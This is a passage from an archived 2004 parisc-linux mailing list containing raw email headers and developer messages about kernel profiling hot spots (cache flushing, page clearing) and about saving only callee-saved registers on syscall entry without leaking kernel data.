Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 1B1FD3BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 01:13:55 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 24959CD6C5; Thu, 11 Nov 2004 00:11:54 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20041111075431.GB9768@colo.lackof.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22102

> I've collect two profiles for -64SMP and will collect
> some UP profiles tomorrow. profiles so far are measuring
> a full kernel build. I expect I'll do the same for -64UP
> kernels too.

hmm.. interesting. top consumers are (with idle loop functions removed)

 40646 flush_kernel_icache_page                 406.4600
  7364 fdsync                                   368.2000
 10567 flush_user_dcache_range_asm              293.5278
 10387 flush_user_icache_range_asm              288.5278
 21409 __clear_user_page_asm                    191.1518
  5356 _spin_lock_irqsave                       111.5833
  1768 fisync                                   110.5000
  1928 _spin_lock                                48.2000
  4255 purge_kernel_dcache_page                  42.5500
   339 $lclu_done                                42.3750
  4089 flush_kernel_dcache_page                  40.8900
  5053 copy_user_page_asm                        33.2434
   569 _write_unlock_irq                         17.7812
   422 _spin_unlock                              17.5833
  1567 find_vma_prev                             16.3229
   181 $lslen_loop                               15.0833
    96 $lslen_done                               12.0000
   996 _write_trylock                            11.3182
   137 $lsfu_loop                                 8.5625
   748 flush_user_dcache_page                     7.4800

we really need to do better at cache flushing..... anybody have any
ideas? :)

but looking at the other ones:
- __clear_user_page_asm can be optimized for 64-bit by writing 8 bytes
  at a time instead of 4
- _spin_lock* needs investigation to see if we have some bad locks
  someplace. lockmeter anybody?
- *lclu* can be rewritten to do better than 1-byte at a time
- copy_user_page_asm can be sped up slightly by using pa_memcpy, but not
  much when i tried last time
- *lslen* can also probably be written in a smarter way... 

i suspect some areas for further investigation are:
- can we do tlb_flush_mm() in a smarter way for SMP?
- can we improve kernel entry time for interrupts (and syscalls) by
  being smarter about what we save on the stack? (i.e. only callee-save
  registers and not all the registers?)

volunteers? :)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [BUG] 2.6.8-1-32 Debian kernel panics in harmony
Date: Thu, 11 Nov 2004 17:47:31 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <6174A8D1-3401-11D9-AEAC-0030656F07A2@esiee.fr>
References: <20041111073850.GA9768@colo.lackof.org>
	<20041111134831.GF2308@roadwarrior.mcmartin.ca>
	<20041111161930.GA17851@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v619)
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623592 11693 80.91.229.3 (22 Nov 2014 02:33:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:12 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25519 invoked by uid 65534); 11 Nov 2004 16:48:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx030) with SMTP; 11 Nov 2004 17:48:09 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 861E33BE36; Thu, 11 Nov 2004 09:47:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13867-05; Thu, 11 Nov 2004 09:47:53 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CA1A73BE3E; Thu, 11 Nov 2004 09:47:40 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDCBF3BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 09:47:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13867-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 09:47:34 -0700 (MST)
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by free.linux.hp.com (Postfix) with ESMTP id 6E1EC3BE30
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 09:47:34 -0700 (MST)
Original-Received: from localhost.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP id C31073658BA;
	Thu, 11 Nov 2004 17:47:32 +0100 (CET)
Original-Received: from mail.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by localhost.esiee.fr (VaMailArmor-2.0.1.16) id 33658-7B73E141;
	Thu, 11 Nov 2004 17:47:32 +0100
Original-Received: from [147.215.7.13] (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP id 351DD3658AE;
	Thu, 11 Nov 2004 17:47:32 +0100 (CET)
In-Reply-To: <20041111161930.GA17851@colo.lackof.org>
X-Mailer: Apple Mail (2.619)
X-AntiVirus: checked by Vexira MailArmor (version: 2.0.1.16; VAE: 6.28.0.12;
	VDF: 6.28.0.68; host: mail.esiee.fr)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22103

AFAIK, ALSA is _still_ broken ;)

HTH,

T-Bone

Le 11 nov. 04, =E0 17:19, Grant Grundler a =E9crit :

> On Thu, Nov 11, 2004 at 08:48:31AM -0500, Kyle McMartin wrote:
>> On Thu, Nov 11, 2004 at 12:38:50AM -0700, Grant Grundler wrote:
>>> Please remind me tomorrow what other info is needed and
>>> if the tombstone is necessary.
>>>
>>
>> Is this ALSA harmony or OSS harmony? I'll backmerge the diffs to that
>> kernel and rebuild them.
>
> ALSA. But I could use whatever I'm told is better.
>
> thanks,
> grant
>>
>> Cheers,
>> 	Kyle.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>

Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.10-rc1-pa11 profile data
Date: Thu, 11 Nov 2004 12:39:01 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <20041111173901.GX2639@baldric.uwo.ca>
References: <20041111075431.GB9768@colo.lackof.org>
	<20041111081154.GR15714@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623593 11695 80.91.229.3 (22 Nov 2014 02:33:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31414 invoked by uid 65534); 11 Nov 2004 17:39:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 11 Nov 2004 18:39:50 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3E40F3BE36; Thu, 11 Nov 2004 10:39:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14348-06; Thu, 11 Nov 2004 10:39:42 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7FF583BE3E; Thu, 11 Nov 2004 10:39:18 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 54C673BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 10:39:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14348-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 10:39:10 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id AC8383BE30
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 10:39:09 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CSIuU-0004dg-00; Thu, 11 Nov 2004 12:39:02 -0500
Content-Disposition: inline
In-Reply-To: <20041111081154.GR15714@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (95% Sync Ratio [==========])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22104

> - can we improve kernel entry time for interrupts (and syscalls) by
>   being smarter about what we save on the stack? (i.e. only callee-save
>   registers and not all the registers?)
> 
> volunteers? :)

I have been stewing over the following:

Leave the existing syscall save everything code in place.

Create a branch infront of the syscall save everything code that
branches on the value of "enable_fast_syscall"

The variable is set via some mechanism. What's the currently accepted
way? /proc twiddle?

The branched code path contains the fast callee-save only register.

Allow a compile time option to switch kernel syscalls to the 'fast'
function call ABI method for people that know they are installing 
on a recent glibc.

That's much later on my todo list, but because sometimes I get
frustrated with binutils I go to work on other things for a break :)

Cheers,
Carlos.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.10-rc1-pa11 profile data
Date: Thu, 11 Nov 2004 09:42:58 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <20041111174258.GT15714@tausq.org>
References: <20041111075431.GB9768@colo.lackof.org>
	<20041111081154.GR15714@tausq.org>
	<20041111173901.GX2639@baldric.uwo.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623593 11700 80.91.229.3 (22 Nov 2014 02:33:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7851 invoked by uid 65534); 11 Nov 2004 17:43:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx022) with SMTP; 11 Nov 2004 18:43:35 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2CD613BE4E; Thu, 11 Nov 2004 10:43:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14348-10; Thu, 11 Nov 2004 10:43:18 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7BDC73BE48; Thu, 11 Nov 2004 10:43:04 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EDD7A3BE43
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 10:43:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14571-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 10:42:59 -0700 (MST)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 99E1C3BE3E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 10:42:59 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id CDB2ECD636; Thu, 11 Nov 2004 09:42:58 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20041111173901.GX2639@baldric.uwo.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22105

> I have been stewing over the following:
> 
> Leave the existing syscall save everything code in place.
> 
> Create a branch infront of the syscall save everything code that
> branches on the value of "enable_fast_syscall"

eh? nononono. we should *always* be able to only preserve callee-saved
registers. From the application point of view, when they call e.g.
read(), it is a function call. The app should not expect any
caller-saved registers to be preserved across the function/system call.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.10-rc1-pa11 profile data
Date: Thu, 11 Nov 2004 17:50:21 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <20041111175021.GA26623@parcelfarce.linux.theplanet.co.uk>
References: <20041111075431.GB9768@colo.lackof.org>
	<20041111081154.GR15714@tausq.org>
	<20041111173901.GX2639@baldric.uwo.ca>
	<20041111174258.GT15714@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623593 11703 80.91.229.3 (22 Nov 2014 02:33:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2179 invoked by uid 65534); 11 Nov 2004 17:50:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 11 Nov 2004 18:50:50 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4AAB33BE3E; Thu, 11 Nov 2004 10:50:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14666-06; Thu, 11 Nov 2004 10:50:48 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 63B493BE43; Thu, 11 Nov 2004 10:50:34 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D4C7C3BE36
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 10:50:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14666-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 10:50:25 -0700 (MST)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 3C8C03BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 10:50:25 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CSJ5R-0004bg-C1; Thu, 11 Nov 2004 17:50:21 +0000
Content-Disposition: inline
In-Reply-To: <20041111174258.GT15714@tausq.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22106

On Thu, Nov 11, 2004 at 09:42:58AM -0800, Randolph Chung wrote:
> eh? nononono. we should *always* be able to only preserve callee-saved
> registers. From the application point of view, when they call e.g.
> read(), it is a function call. The app should not expect any
> caller-saved registers to be preserved across the function/system call.

As I'm sure you already know, we do have to be careful to avoid leaking
kernel-internal or another task's information in the registers that
are call-clobbered.  I know some architectures do this by having a
kernel exit path that deliberately clobbers as many registers as possible.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.10-rc1-pa11 profile data
Date: Thu, 11 Nov 2004 09:59:33 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20041111175933.GU15714@tausq.org>
References: <20041111075431.GB9768@colo.lackof.org>
	<20041111081154.GR15714@tausq.org>
	<20041111173901.GX2639@baldric.uwo.ca>
	<20041111174258.GT15714@tausq.org>
	<20041111175021.GA26623@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623594 11706 80.91.229.3 (22 Nov 2014 02:33:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15947 invoked by uid 65534); 11 Nov 2004 18:00:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 11 Nov 2004 19:00:04 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9F4EC3BE43; Thu, 11 Nov 2004 10:59:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14925-01; Thu, 11 Nov 2004 10:59:48 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2EA7B3BE48; Thu, 11 Nov 2004 10:59:40 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5FF673BE3E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 10:59:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14666-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 10:59:34 -0700 (MST)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 031753BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 10:59:33 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 000BECD813; Thu, 11 Nov 2004 09:59:33 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20041111175021.GA26623@parcelfarce.linux.theplanet.co.uk>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
